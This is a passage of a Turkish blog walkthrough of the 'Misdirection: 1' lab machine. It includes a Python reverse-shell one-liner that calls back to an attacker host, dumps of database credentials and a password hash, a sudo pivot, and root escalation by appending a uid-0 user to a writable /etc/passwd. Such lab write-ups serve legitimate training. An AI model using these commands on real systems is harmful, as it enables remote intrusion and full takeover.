http:\/\/192.168.6.136:8080\/debug\/<\/a><\/strong> adresine geldi\u011fimizde www-data kullan\u0131c\u0131s\u0131ndan reverse alabildim. Kulland\u0131\u011f\u0131m payload a\u015fa\u011f\u0131dad\u0131r.<\/p>\np0wny@shell:\u2026\/html\/debug# python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.6.132",1822));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("\/bin\/bash")'<\/code><\/pre>\n\u2514\u2500# nc -lvp 1822\nlistening on [any] 1822 ...\n192.168.6.136: inverse host lookup failed: Unknown host\nconnect to [192.168.6.132] from (UNKNOWN) [192.168.6.136] 36306\nwww-data@misdirection:\/var\/www\/html\/debug$ whoami\nwhoami\nwww-data\nwww-data@misdirection:\/var\/www\/html\/debug$ id\nid\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\nwww-data@misdirection:\/var\/www\/html\/debug$ \n<\/code><\/pre>\nYapt\u0131\u011f\u0131m incelemeler sonucunda mysql kullan\u0131c\u0131s\u0131n\u0131n bilgisine oradanda wordpress kullan\u0131c\u0131s\u0131n\u0131n hashine eri\u015ftim ancak k\u0131ramad\u0131m.<\/p>\n
www-data@misdirection:\/var\/www\/html\/wordpress$ cat wp-config.php\ncat wp-config.php\n<?php\n\/**\n * The base configuration for WordPress\n *\n * The wp-config.php creation script uses this file during the\n * installation. You don't have to use the web site, you can\n * copy this file to "wp-config.php" and fill in the values.\n *\n * This file contains the following configurations:\n *\n * * MySQL settings\n * * Secret keys\n * * Database table prefix\n * * ABSPATH\n *\n * @link https:\/\/codex.wordpress.org\/Editing_wp-config.php\n *\n * @package WordPress\n *\/\n\n\/\/ ** MySQL settings - You can get this info from your web host ** \/\/\n\/** The name of the database for WordPress *\/\ndefine( 'DB_NAME', 'wp_myblog' );\n\n\/** MySQL database username *\/\ndefine( 'DB_USER', 'blog' );\n\n\/** MySQL database password *\/\ndefine( 'DB_PASSWORD', 'abcdefghijklmnopqrstuv' );\n\n\/** MySQL hostname *\/\ndefine( 'DB_HOST', 'localhost' );\n\n\/** Database Charset to use in creating database tables. *\/\ndefine( 'DB_CHARSET', 'utf8' );\n\n\/** The Database Collate type. Don't change this if in doubt. *\/\ndefine( 'DB_COLLATE', '' );\n<\/code><\/pre>\nmysql> select * from wp_users;\nselect * from wp_users;\n+----+------------+------------------------------------+---------------+------------------+----------+---------------------+---------------------+-------------+--------------+\n| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |\n+----+------------+------------------------------------+---------------+------------------+----------+---------------------+---------------------+-------------+--------------+\n| 1 | admin | $P$BC4vcMsqXqr\/cc46cx.E1arnrBq1yU\/ | admin | admin@brexit.com | | 2019-06-01 06:08:19 | | 0 | admin |\n+----+------------+------------------------------------+---------------+------------------+----------+---------------------+---------------------+-------------+--------------+\n1 row in set (0.01 sec)\n<\/code><\/pre>\nDaha sonras\u0131nda sudo yetkilerini kontrol ettim ve kolay bir \u015fekilde yetki y\u00fckseltebildim.<\/p>\n
[!] sud010 Can we list sudo commands without a password?................... yes!\n---\nMatching Defaults entries for www-data on localhost:\n env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin\n\nUser www-data may run the following commands on localhost:\n (brexit) NOPASSWD: \/bin\/bash\n---ore--(1%)\n[*] sud040 Can we read sudoers files?...................................... nope<\/code><\/pre>\nwww-data@misdirection:\/tmp$ sudo -u brexit \/bin\/bash\nsudo -u brexit \/bin\/bash\nbrexit@misdirection:\/tmp$ whoami\nwhoami\nbrexit\nbrexit@misdirection:\/tmp$ <\/code><\/pre>\n\u0130lk flagi ald\u0131m.<\/p>\n
brexit@misdirection:~$ cat user.txt\ncat user.txt\n404b9193154be7fbbc56d7534cb26339\nbrexit@misdirection:~$ \n<\/code><\/pre>\nfind arac\u0131n\u0131 ger\u00e7ekten \u00e7ok iyi kullanmam\u0131z gerekti\u011fini d\u00fc\u015f\u00fcn\u00fcyorum. Ne yaz\u0131kki basit bir makinede \u00e7ok zaman kaybettim. A\u015fa\u011f\u0131daki sonu\u00e7 ger\u00e7ekten komik \ud83d\ude42<\/p>\n
brexit@misdirection:\/tmp$ find \/etc -writable -type f 2>\/dev\/null\nfind \/etc -writable -type f 2>\/dev\/null\n\/etc\/passwd\nbrexit@misdirection:\/tmp$ <\/code><\/pre>\nBunun \u00fczerine paroals\u0131 toor<\/strong> olacak \u015fekilde kali \u00fczerinden bir ahsh \u00fcrettim.<\/p>\n\u250c\u2500\u2500(root💀kali)-[~\/tool]\n\u2514\u2500# openssl passwd -1 130 \u2a2f\nPassword: \nVerifying - Password: \n$1$8cSusXYr$UFL1aC9j8VzUslBpbUZCr.<\/code><\/pre>\nDaha sonras\u0131nda root kullan\u0131c\u0131s\u0131 ve grubu olarak bir kullan\u0131c\u0131 ekledim.<\/p>\n
brexit@misdirection:\/var\/www\/html\/debug$ echo 'hacker:$1$8cSusXYr$UFL1aC9j8VzUslBpbUZCr.:0:0:root:\/root:\/bin\/bash' >> \/etc\/passwd\n<slBpbUZCr.:0:0:root:\/root:\/bin\/bash' >> \/etc\/passwd\nbrexit@misdirection:\/var\/www\/html\/debug$ tail -n 1 \/etc\/passwd\ntail -n 1 \/etc\/passwd\nhacker:$1$8cSusXYr$UFL1aC9j8VzUslBpbUZCr.:0:0:root:\/root:\/bin\/bash\nbrexit@misdirection:\/var\/www\/html\/debug$ su hacker\nsu hacker\nPassword: toor\n\nroot@misdirection:\/var\/www\/html\/debug# id\nid\nuid=0(root) gid=0(root) groups=0(root)\nroot@misdirection:\/var\/www\/html\/debug# cd \/root\ncd \/root\nroot@misdirection:~# ls\nls\nroot.txt\nroot@misdirection:~# cat root.txt\ncat root.txt\n0d2c6222bfdd3701e0fa12a9a9dc9c8c\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"Makine Hakk\u0131nda Bilgiler A\u00e7\u0131klama: The purpose of this machine is to grant OSCP students further develop, strengthen, and practice their methodology for the exam. This…<\/p>\n
Devam\u0131n\u0131 okuMISDIRECTION: 1<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[561,560],"class_list":["post-1333","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-etc-passwd","tag-openssl","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1333","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1333"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1333\/revisions"}],"predecessor-version":[{"id":1334,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1333\/revisions\/1334"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1333"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1333"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1333"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}